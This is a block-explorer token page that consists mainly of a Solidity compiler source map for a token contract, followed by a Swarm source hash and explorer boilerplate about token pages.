4711:142;7004:96;;;;;;:::i;:::-;;:::i;529:18::-;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;4331:286::-;4399:12;-1:-1:-1;;;;;4432:22:0;;4424:60;;;;-1:-1:-1;;;4424:60:0;;6699:2:1;4424:60:0;;;6681:21:1;6738:2;6718:18;;;6711:30;6777:27;6757:18;;;6750:55;6822:18;;4424:60:0;;;;;;;;;4503:10;4495:19;;;;:7;:19;;;;;;;;-1:-1:-1;;;;;4495:29:0;;;;;;;;;;;;:37;;;4548:39;7710:25:1;;;4495:29:0;;4503:10;4548:39;;7683:18:1;4548:39:0;;;;;;;;-1:-1:-1;4605:4:0;4331:286;;;;:::o;6821:103::-;191:5;;-1:-1:-1;;;;;191:5:0;177:10;:19;169:42;;;;-1:-1:-1;;;169:42:0;;;;;;;:::i;:::-;6891:18:::1;:25:::0;;-1:-1:-1;;;;;;6891:25:0::1;-1:-1:-1::0;;;;;6891:25:0;;;::::1;::::0;;;::::1;::::0;;6821:103::o;2821:1404::-;2902:4;-1:-1:-1;;;;;2935:19:0;;2927:61;;;;-1:-1:-1;;;2927:61:0;;5991:2:1;2927:61:0;;;5973:21:1;6030:2;6010:18;;;6003:30;6069:31;6049:18;;;6042:59;6118:18;;2927:61:0;5963:179:1;2927:61:0;-1:-1:-1;;;;;3007:17:0;;2999:62;;;;-1:-1:-1;;;2999:62:0;;4109:2:1;2999:62:0;;;4091:21:1;;;4128:18;;;4121:30;4187:34;4167:18;;;4160:62;4239:18;;2999:62:0;4081:182:1;2999:62:0;-1:-1:-1;;;;;3081:15:0;;;;;;:8;:15;;;;;;:24;-1:-1:-1;3081:24:0;;;:63;;-1:-1:-1;;;;;;3109:14:0;;;;;;:7;:14;;;;;;;;3124:10;3109:26;;;;;;;;:35;-1:-1:-1;3109:35:0;3081:63;:76;;;;;3156:1;3148:7;:9;3081:76;:115;;;;-1:-1:-1;;;;;;3183:13:0;;;;;;:8;:13;;;;;;3161:21;3175:7;3183:13;3161:21;:::i;:::-;:35;3081:115;3072:167;;;;-1:-1:-1;;;3072:167:0;;;;;;;:::i;:::-;3253:6;;-1:-1:-1;;;3253:6:0;;;;:14;;3263:4;3253:14;3250:926;;;3294:18;;-1:-1:-1;;;;;3287:25:0;;;3294:18;;3287:25;3284:680;;;3333:12;3368:3;3358:7;;3348;:17;;;;:::i;:::-;:23;;;;:::i;:::-;3333:38;-1:-1:-1;3390:12:0;3405:17;3333:38;3405:7;:17;:::i;:::-;-1:-1:-1;;;;;3441:15:0;;;;;;:8;:15;;;;;:24;;3390:32;;-1:-1:-1;3458:7:0;;3441:15;;;:24;;3458:7;;3441:24;:::i;:::-;;;;-1:-1:-1;;;;;;;3484:14:0;;;;;;:7;:14;;;;;;;;3499:10;3484:26;;;;;;;:35;;3512:7;;3484:14;:35;;3512:7;;3484:35;:::i;:::-;;;;-1:-1:-1;;;;;;;3538:13:0;;;;;;:8;:13;;;;;:22;;3553:7;;3538:13;:22;;3553:7;;3538:22;:::i;:::-;;;;-1:-1:-1;;3588:13:0;;-1:-1:-1;;;;;3588:13:0;3579:23;;;;:8;:23;;;;;:32;;3604:7;;3579:23;:32;;3604:7;;3579:32;:::i;:::-;;;;;;;;3650:3;-1:-1:-1;;;;;3635:27:0;3644:5;-1:-1:-1;;;;;3635:27:0;-1:-1:-1;;;;;;;;;;;3654:7:0;3635:27;;;;7710:25:1;;7698:2;7683:18;;7665:76;3635:27:0;;;;;;;;3701:13;;3686:37;;7710:25:1;;;-1:-1:-1;;;;;3701:13:0;;;;3686:37;;;-1:-1:-1;;;;;;;;;;;3686:37:0;7698:2:1;7683:18;3686:37:0;;;;;;;3314:425;;3250:926;;3284:680;-1:-1:-1;;;;;3776:15:0;;;;;;:8;:15;;;;;:24;;3793:7;;3776:15;:24;;3793:7;;3776:24;:::i;:::-;;;;-1:-1:-1;;;;;;;3819:14:0;;;;;;:7;:14;;;;;;;;3834:10;3819:26;;;;;;;:35;;3847:7;;3819:14;:35;;3847:7;;3819:35;:::i;:::-;;;;-1:-1:-1;;;;;;;3873:13:0;;;;;;:8;:13;;;;;:22;;3888:7;;3873:13;:22;;3888:7;;3873:22;:::i;:::-;;;;;;;;3935:3;-1:-1:-1;;;;;3919:29:0;3928:5;-1:-1:-1;;;;;3919:29:0;-1:-1:-1;;;;;;;;;;;3940:7:0;3919:29;;;;7710:25:1;;7698:2;7683:18;;7665:76;3919:29:0;;;;;;;;3250:926;;;-1:-1:-1;;;;;4004:15:0;;;;;;:8;:15;;;;;:24;;4021:7;;4004:15;:24;;4021:7;;4004:24;:::i;:::-;;;;-1:-1:-1;;;;;;;4043:14:0;;;;;;:7;:14;;;;;;;;4058:10;4043:26;;;;;;;:35;;4071:7;;4043:14;:35;;4071:7;;4043:35;:::i;:::-;;;;-1:-1:-1;;;;;;;4093:13:0;;;;;;:8;:13;;;;;:22;;4108:7;;4093:13;:22;;4108:7;;4093:22;:::i;:::-;;;;;;;;4151:3;-1:-1:-1;;;;;4135:29:0;4144:5;-1:-1:-1;;;;;4135:29:0;-1:-1:-1;;;;;;;;;;;4156:7:0;4135:29;;;;7710:25:1;;7698:2;7683:18;;7665:76;4135:29:0;;;;;;;;3250:926;-1:-1:-1;4213:4:0;2821:1404;;;;;:::o;353:105::-;191:5;;-1:-1:-1;;;;;191:5:0;177:10;:19;169:42;;;;-1:-1:-1;;;169:42:0;;;;;;;:::i;:::-;433:5:::1;:17:::0;;-1:-1:-1;;;;;;433:17:0::1;-1:-1:-1::0;;;;;433:17:0;;;::::1;::::0;;;::::1;::::0;;353:105::o;7974:157::-;191:5;;-1:-1:-1;;;;;191:5:0;177:10;:19;169:42;;;;-1:-1:-1;;;169:42:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;8051:16:0;::::1;8043:52;;;::::0;-1:-1:-1;;;8043:52:0;;4470:2:1;8043:52:0::1;::::0;::::1;4452:21:1::0;4509:2;4489:18;;;4482:30;4548:25;4528:18;;;4521:53;4591:18;;8043:52:0::1;4442:173:1::0;8043:52:0::1;8106:17;8112:2;8116:6;8106:5;:17::i;:::-;7974:157:::0;;:::o;8223:80::-;8270:25;8276:10;8288:6;8270:5;:25::i;:::-;8223:80;:::o;6647:89::-;191:5;;-1:-1:-1;;;;;191:5:0;177:10;:19;169:42;;;;-1:-1:-1;;;169:42:0;;;;;;;:::i;:::-;6710:7:::1;:18:::0;6647:89::o;6349:259::-;191:5;;-1:-1:-1;;;;;191:5:0;177:10;:19;169:42;;;;-1:-1:-1;;;169:42:0;;;;;;;:::i;:::-;6420:6:::1;::::0;::::1;-1:-1:-1::0;;;6420:6:0;;::::1;;:13;;::::0;::::1;;;;6412:47;;;::::0;-1:-1:-1;;;6412:47:0;;6349:2:1;6412:47:0::1;::::0;::::1;6331:21:1::0;6388:2;6368:18;;;6361:30;-1:-1:-1;;;6407:18:1;;;6400:51;6468:18;;6412:47:0::1;6321:171:1::0;6412:47:0::1;6478:18;::::0;-1:-1:-1;;;;;6478:18:0::1;:32:::0;;::::1;::::0;:63:::1;;-1:-1:-1::0;6514:13:0::1;::::0;-1:-1:-1;;;;;6514:13:0::1;:27:::0;::::1;6478:63;6470:107;;;::::0;-1:-1:-1;;;6470:107:0;;4822:2:1;6470:107:0::1;::::0;::::1;4804:21:1::0;4861:2;4841:18;;;4834:30;4900:33;4880:18;;;4873:61;4951:18;;6470:107:0::1;4794:181:1::0;6470:107:0::1;6588:6;:12:::0;;;::::1;;-1:-1:-1::0;;;6588:12:0::1;-1:-1:-1::0;;;;6588:12:0;;::::1;::::0;;;::::1;::::0;;6349:259::o;502:20::-;;;;;;;:::i;1393:1151::-;1457:4;-1:-1:-1;;;;;1492:17:0;;1484:54;;;;-1:-1:-1;;;1484:54:0;;7053:2:1;1484:54:0;;;7035:21:1;7092:2;7072:18;;;7065:30;7131:26;7111:18;;;7104:54;7175:18;;1484:54:0;7025:174:1;1484:54:0;1567:10;1558:20;;;;:8;:20;;;;;;:29;-1:-1:-1;1558:29:0;;;:42;;;1599:1;1591:7;:9;1558:42;:81;;;;-1:-1:-1;;;;;;1626:13:0;;;;;;:8;:13;;;;;;1604:21;1618:7;1626:13;1604:21;:::i;:::-;:35;1558:81;1549:133;;;;-1:-1:-1;;;1549:133:0;;;;;;;:::i;:::-;1696:6;;-1:-1:-1;;;1696:6:0;;;;:14;;1706:4;1696:14;1693:802;;;1736:18;;-1:-1:-1;;;;;1729:25:0;;;1736:18;;1729:25;1726:599;;;1775:12;1810:3;1800:7;;1790;:17;;;;:::i;:::-;:23;;;;:::i;:::-;1775:38;-1:-1:-1;1832:12:0;1847:17;1775:38;1847:7;:17;:::i;:::-;1892:10;1883:20;;;;:8;:20;;;;;:29;;1832:32;;-1:-1:-1;1905:7:0;;1883:20;;;:29;;1905:7;;1883:29;:::i;:::-;;;;-1:-1:-1;;1940:13:0;;-1:-1:-1;;;;;1940:13:0;1931:23;;;;:8;:23;;;;;:34;;1958:7;;1931:23;:34;;1958:7;;1931:34;:::i;:::-;;;;-1:-1:-1;;;;;;;1984:13:0;;;;;;:8;:13;;;;;:24;;2001:7;;1984:13;:24;;2001:7;;1984:24;:::i;:::-;;;;-1:-1:-1;;2032:32:0;;7710:25:1;;;-1:-1:-1;;;;;2032:32:0;;;2041:10;;-1:-1:-1;;;;;;;;;;;2032:32:0;7698:2:1;7683:18;2032:32:0;;;;;;;2108:13;;2088:42;;7710:25:1;;;-1:-1:-1;;;;;2108:13:0;;;;2097:10;;-1:-1:-1;;;;;;;;;;;2088:42:0;7698:2:1;7683:18;2088:42:0;;;;;;;1756:390;;1693:802;;1726:599;2192:10;2183:20;;;;:8;:20;;;;;:29;;2205:7;;2183:20;:29;;2205:7;;2183:29;:::i;:::-;;;;-1:-1:-1;;;;;;;2231:13:0;;;;;;:8;:13;;;;;:22;;2246:7;;2231:13;:22;;2246:7;;2231:22;:::i;:::-;;;;-1:-1:-1;;2277:32:0;;7710:25:1;;;-1:-1:-1;;;;;2277:32:0;;;2286:10;;-1:-1:-1;;;;;;;;;;;2277:32:0;7698:2:1;7683:18;2277:32:0;;;;;;;1693:802;;;2374:10;2365:20;;;;:8;:20;;;;;:29;;2387:7;;2365:20;:29;;2387:7;;2365:29;:::i;:::-;;;;-1:-1:-1;;;;;;;2409:13:0;;;;;;:8;:13;;;;;:22;;2424:7;;2409:13;:22;;2424:7;;2409:22;:::i;:::-;;;;-1:-1:-1;;2451:32:0;;7710:25:1;;;-1:-1:-1;;;;;2451:32:0;;;2460:10;;-1:-1:-1;;;;;;;;;;;2451:32:0;7698:2:1;7683:18;2451:32:0;7665:76:1;1693:802:0;-1:-1:-1;2532:4:0;1393:1151;;;;:::o;7004:96::-;191:5;;-1:-1:-1;;;;;191:5:0;177:10;:19;169:42;;;;-1:-1:-1;;;169:42:0;;;;;;;:::i;:::-;7072:13:::1;:20:::0;;-1:-1:-1;;;;;;7072:20:0::1;-1:-1:-1::0;;;;;7072:20:0;;;::::1;::::0;;;::::1;::::0;;7004:96::o;5144:337::-;-1:-1:-1;;;;;5229:21:0;;5221:65;;;;-1:-1:-1;;;5221:65:0;;7406:2:1;5221:65:0;;;7388:21:1;7445:2;7425:18;;;7418:30;7484:33;7464:18;;;7457:61;7535:18;;5221:65:0;7378:181:1;5221:65:0;5376:6;5361:11;;:21;;;;;;;:::i;:::-;;;;-1:-1:-1;;;;;;;5393:17:0;;;;;;:8;:17;;;;;:27;;5414:6;;5393:17;:27;;5414:6;;5393:27;:::i;:::-;;;;-1:-1:-1;;5436:37:0;;7710:25:1;;;-1:-1:-1;;;;;5436:37:0;;;5453:1;;-1:-1:-1;;;;;;;;;;;5436:37:0;7698:2:1;7683:18;5436:37:0;;;;;;;5144:337;;:::o;5819:492::-;-1:-1:-1;;;;;5904:21:0;;5896:67;;;;-1:-1:-1;;;5896:67:0;;5589:2:1;5896:67:0;;;5571:21:1;5628:2;5608:18;;;5601:30;5667:34;5647:18;;;5640:62;-1:-1:-1;;;5718:18:1;;;5711:31;5759:19;;5896:67:0;5561:223:1;5896:67:0;-1:-1:-1;;;;;6063:17:0;;6038:22;6063:17;;;:8;:17;;;;;;6099:24;;;;6091:71;;;;-1:-1:-1;;;6091:71:0;;3367:2:1;6091:71:0;;;3349:21:1;3406:2;3386:18;;;3379:30;3445:34;3425:18;;;3418:62;-1:-1:-1;;;3496:18:1;;;3489:32;3538:19;;6091:71:0;3339:224:1;6091:71:0;6193:23;6210:6;6193:14;:23;:::i;:::-;-1:-1:-1;;;;;6173:17:0;;;;;;:8;:17;;;;;:43;;;;6227:11;:21;;6242:6;;6173:17;6227:21;;6242:6;;6227:21;:::i;:::-;;;;-1:-1:-1;;6266:37:0;;7710:25:1;;;6292:1:0;;-1:-1:-1;;;;;6266:37:0;;;-1:-1:-1;;;;;;;;;;;6266:37:0;7698:2:1;7683:18;6266:37:0;;;;;;;5885:426;5819:492;;:::o;14:247:1:-;73:6;126:2;114:9;105:7;101:23;97:32;94:2;;;142:1;139;132:12;94:2;181:9;168:23;200:31;225:5;200:31;:::i;:::-;250:5;84:177;-1:-1:-1;;;84:177:1:o;526:388::-;594:6;602;655:2;643:9;634:7;630:23;626:32;623:2;;;671:1;668;661:12;623:2;710:9;697:23;729:31;754:5;729:31;:::i;:::-;779:5;-1:-1:-1;836:2:1;821:18;;808:32;849:33;808:32;849:33;:::i;:::-;901:7;891:17;;;613:301;;;;;:::o;919:456::-;996:6;1004;1012;1065:2;1053:9;1044:7;1040:23;1036:32;1033:2;;;1081:1;1078;1071:12;1033:2;1120:9;1107:23;1139:31;1164:5;1139:31;:::i;:::-;1189:5;-1:-1:-1;1246:2:1;1231:18;;1218:32;1259:33;1218:32;1259:33;:::i;:::-;1023:352;;1311:7;;-1:-1:-1;;;1365:2:1;1350:18;;;;1337:32;;1023:352::o;1380:315::-;1448:6;1456;1509:2;1497:9;1488:7;1484:23;1480:32;1477:2;;;1525:1;1522;1515:12;1477:2;1564:9;1551:23;1583:31;1608:5;1583:31;:::i;:::-;1633:5;1685:2;1670:18;;;;1657:32;;-1:-1:-1;;;1467:228:1:o;1700:273::-;1756:6;1809:2;1797:9;1788:7;1784:23;1780:32;1777:2;;;1825:1;1822;1815:12;1777:2;1864:9;1851:23;1917:5;1910:13;1903:21;1896:5;1893:32;1883:2;;1939:1;1936;1929:12;1978:180;2037:6;2090:2;2078:9;2069:7;2065:23;2061:32;2058:2;;;2106:1;2103;2096:12;2058:2;-1:-1:-1;2129:23:1;;2048:110;-1:-1:-1;2048:110:1:o;2563:597::-;2675:4;2704:2;2733;2722:9;2715:21;2765:6;2759:13;2808:6;2803:2;2792:9;2788:18;2781:34;2833:1;2843:140;2857:6;2854:1;2851:13;2843:140;;;2952:14;;;2948:23;;2942:30;2918:17;;;2937:2;2914:26;2907:66;2872:10;;2843:140;;;3001:6;2998:1;2995:13;2992:2;;;3071:1;3066:2;3057:6;3046:9;3042:22;3038:31;3031:42;2992:2;-1:-1:-1;3144:2:1;3123:15;-1:-1:-1;;3119:29:1;3104:45;;;;3151:2;3100:54;;2684:476;-1:-1:-1;;;2684:476:1:o;3568:334::-;3770:2;3752:21;;;3809:2;3789:18;;;3782:30;-1:-1:-1;;;3843:2:1;3828:18;;3821:40;3893:2;3878:18;;3742:160::o;4980:402::-;5182:2;5164:21;;;5221:2;5201:18;;;5194:30;5260:34;5255:2;5240:18;;5233:62;-1:-1:-1;;;5326:2:1;5311:18;;5304:36;5372:3;5357:19;;5154:228::o;7935:128::-;7975:3;8006:1;8002:6;7999:1;7996:13;7993:2;;;8012:18;;:::i;:::-;-1:-1:-1;8048:9:1;;7983:80::o;8068:217::-;8108:1;8134;8124:2;;8178:10;8173:3;8169:20;8166:1;8159:31;8213:4;8210:1;8203:15;8241:4;8238:1;8231:15;8124:2;-1:-1:-1;8270:9:1;;8114:171::o;8290:168::-;8330:7;8396:1;8392;8388:6;8384:14;8381:1;8378:21;8373:1;8366:9;8359:17;8355:45;8352:2;;;8403:18;;:::i;:::-;-1:-1:-1;8443:9:1;;8342:116::o;8463:125::-;8503:4;8531:1;8528;8525:8;8522:2;;;8536:18;;:::i;:::-;-1:-1:-1;8573:9:1;;8512:76::o;8593:380::-;8672:1;8668:12;;;;8715;;;8736:2;;8790:4;8782:6;8778:17;8768:27;;8736:2;8843;8835:6;8832:14;8812:18;8809:38;8806:2;;;8889:10;8884:3;8880:20;8877:1;8870:31;8924:4;8921:1;8914:15;8952:4;8949:1;8942:15;8806:2;;8648:325;;;:::o;8978:127::-;9039:10;9034:3;9030:20;9027:1;9020:31;9070:4;9067:1;9060:15;9094:4;9091:1;9084:15;9110:131;-1:-1:-1;;;;;9185:31:1;;9175:42;;9165:2;;9231:1;9228;9221:12

Swarm Source

ipfs://278d9ee7ae9d72ebde566db62d670a7e3d35877a1a92e65f141607ef7fb44320
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.